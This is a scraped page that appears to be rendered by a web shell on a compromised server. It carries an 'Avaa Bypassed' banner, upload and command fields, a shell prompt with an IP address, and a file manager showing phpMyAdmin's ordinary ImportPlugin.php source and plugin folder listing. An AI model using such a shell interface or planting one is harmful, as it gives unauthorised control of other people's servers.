404

[ Avaa Bypassed ]




Upload:

Command:

botdev@3.21.186.117: ~ $
<?php
/* vim: set expandtab sw=4 ts=4 sts=4: */
/**
 * Abstract class for the import plugins
 *
 * @package PhpMyAdmin
 */

namespace PMA\libraries\plugins;

use PMA\libraries\properties\plugins\ImportPluginProperties;

/**
 * Provides a common interface that will have to be implemented by all of the
 * import plugins.
 *
 * @package PhpMyAdmin
 */
abstract class ImportPlugin
{
    /**
     * ImportPluginProperties object containing the import plugin properties
     *
     * @var ImportPluginProperties
     */
    protected $properties;

    /**
     * Handles the whole import logic
     *
     * @return void
     */
    abstract public function doImport();


    /* ~~~~~~~~~~~~~~~~~~~~ Getters and Setters ~~~~~~~~~~~~~~~~~~~~ */

    /**
     * Gets the import specific format plugin properties
     *
     * @return \PMA\libraries\properties\plugins\ImportPluginProperties
     */
    public function getProperties()
    {
        return $this->properties;
    }

    /**
     * Sets the export plugins properties and is implemented by each import
     * plugin
     *
     * @return void
     */
    abstract protected function setProperties();

    /**
     * Define DB name and options
     *
     * @param string $currentDb DB
     * @param string $defaultDb Default DB name
     *
     * @return array DB name and options (an associative array of options)
     */
    protected function getDbnameAndOptions($currentDb, $defaultDb)
    {
        if (mb_strlen($currentDb)) {
            $db_name = $currentDb;
            $options = array('create_db' => false);
        } else {
            $db_name = $defaultDb;
            $options = null;
        }

        return array($db_name, $options);
    }
}

Filemanager

Name Type Size Permission Actions
auth Folder 0755
export Folder 0755
import Folder 0755
schema Folder 0755
transformations Folder 0755
AuthenticationPlugin.php File 4.1 KB 0644
ExportPlugin.php File 10.51 KB 0644
IOTransformationsPlugin.php File 2.31 KB 0644
ImportPlugin.php File 1.68 KB 0644
SchemaPlugin.php File 2.3 KB 0644
TransformationsInterface.php File 862 B 0644
TransformationsPlugin.php File 1.67 KB 0644
UploadInterface.php File 627 B 0644